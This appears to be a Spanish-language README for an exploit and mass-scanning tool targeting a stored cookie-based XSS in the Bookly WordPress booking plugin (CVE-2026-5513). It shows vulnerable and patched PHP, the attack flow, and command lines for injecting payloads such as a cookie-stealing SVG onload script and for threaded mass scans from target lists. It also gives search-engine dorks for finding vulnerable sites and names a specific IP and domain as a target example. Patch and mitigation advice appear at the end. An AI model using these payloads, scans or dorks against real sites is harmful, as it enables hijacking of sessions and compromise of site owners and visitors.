
CVE-2026-5513: Bookly <= 27.2 XSS Almacenado vía Cookie (No autenticado)
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-5513 |
| Vulnerabilidad | Cross-Site Scripting Almacenado (XSS) |
| Plugin | Bookly — Sistema de Programación y Reserva de Citas en Línea |
| Afectado | ≤ 27.2 |
| Parcheado | 27.3+ |
| CVSS 3.1 | 7.2 (Alto) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| Autenticación requerida | Ninguna |
| Requisito previo | Recordar información personal en cookies debe estar habilitado (deshabilitado por defecto) |
El plugin Bookly para WordPress es vulnerable a Cross-Site Scripting Almacenado a través de la cookie bookly-customer-full-name en versiones hasta la 27.2 inclusive debido a una insuficiente sanitización de entrada y escape de salida.
Cuando la configuración "Recordar información personal en cookies" está habilitada, el plugin lee el valor de la cookie bookly-customer-full-name y lo renderiza directamente en el HTML del formulario de reserva sin el escape adecuado. Un atacante no autenticado puede inyectar cargas útiles arbitrarias de JavaScript a través de esta cookie que se ejecutan cada vez que cualquier usuario (incluyendo administradores) visita una página que contiene el formulario de reserva de Bookly.
Atacante → Establecer cookie maliciosa (bookly-customer-full-name=<script>...</script>)
→ Visitar página con formulario de reserva de Bookly
→ El plugin lee la cookie, renderiza el valor sin escapar
→ La carga útil XSS se ejecuta en el contexto del navegador de la víctima
// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // No sanitization
echo '<input type="text" value="' . $full_name . '" />'; // No escaping
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ Sondeo automático de IP/Dominio (HTTP/HTTPS, puertos comunes, detección de redirecciones)
✓ Detección de plugins WordPress y Bookly con verificación de versión
✓ Detección de configuración de cookies (análisis JS de BooklyL10n + reflexión canary)
✓ Pruebas XSS en múltiples contextos (HTML, JavaScript, inyección en atributos)
✓ Inyección de carga útil con verificación de reflexión
✓ Objetivo único o escaneo masivo desde archivo
✓ Escaneo multi-hilo (hasta 20 hilos)
✓ Soporte de proxy (Burp, etc.)
✓ Guardado automático de resultados vulnerables
✓ Modos interactivo y CLI
pip install requests colorama
# Check single target
python CVE-2026-5513.py -u https://target.com -v
# Check single IP (auto-probe ports + redirects)
python CVE-2026-5513.py -u 167.99.0.203 -v
# Check + inject XSS payload
python CVE-2026-5513.py -u https://target.com --inject -v
# Custom XSS payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# Mass scan from file
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# With Burp proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
La herramienta acepta cualquiera de estos formatos en -u o en el archivo de lista de objetivos:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
Para IPs simples, la herramienta automáticamente:
167.99.0.203 → https://book.repairrite.com)/wp/, /blog/, /wordpress/, etc.)PASO 0 → Sondear objetivo (IP/dominio → resolver URL base, detectar redirecciones)
PASO 1 → Detectar plugin Bookly (readme.txt, directorio del plugin, assets, verificación de versión)
PASO 2 → Verificar configuración de cookies (análisis JS de BooklyL10n + prueba de reflexión canary)
PASO 3 → Probar reflexión XSS (contexto HTML, contexto JS, contexto de atributos)
PASO 4 → Inyectar carga útil (si modo --inject, verificar reflexión)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| Prioridad | Acción |
|---|---|
| 🔴 | Actualizar Bookly a la versión 27.3+ |
| 🟡 | Deshabilitar "Recordar información personal en cookies" en Ajustes de Bookly → General |
| 🟢 | Implementar reglas WAF para filtrar XSS en valores de cookies |
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Siempre obtenga la autorización adecuada antes de realizar pruebas. El autor no se hace responsable del mal uso de esta herramienta.
MIT
| Opción | Descripción |
|---|
-u URL | Objetivo único (URL, dominio o IP) |
-l ARCHIVO | Archivo con lista de objetivos (uno por línea) |
--inject | Inyectar carga útil XSS (por defecto: solo verificar) |
--payload STR | Carga útil XSS personalizada |
-t N | Número de hilos (por defecto: 10, máximo: 20) |
--proxy URL | Proxy HTTP (ej. http://127.0.0.1:8080) |
-o ARCHIVO | Guardar resultados en archivo |
-v | Salida verbose |
| 🟢 | Implementar cabeceras de Content-Security-Policy (CSP) |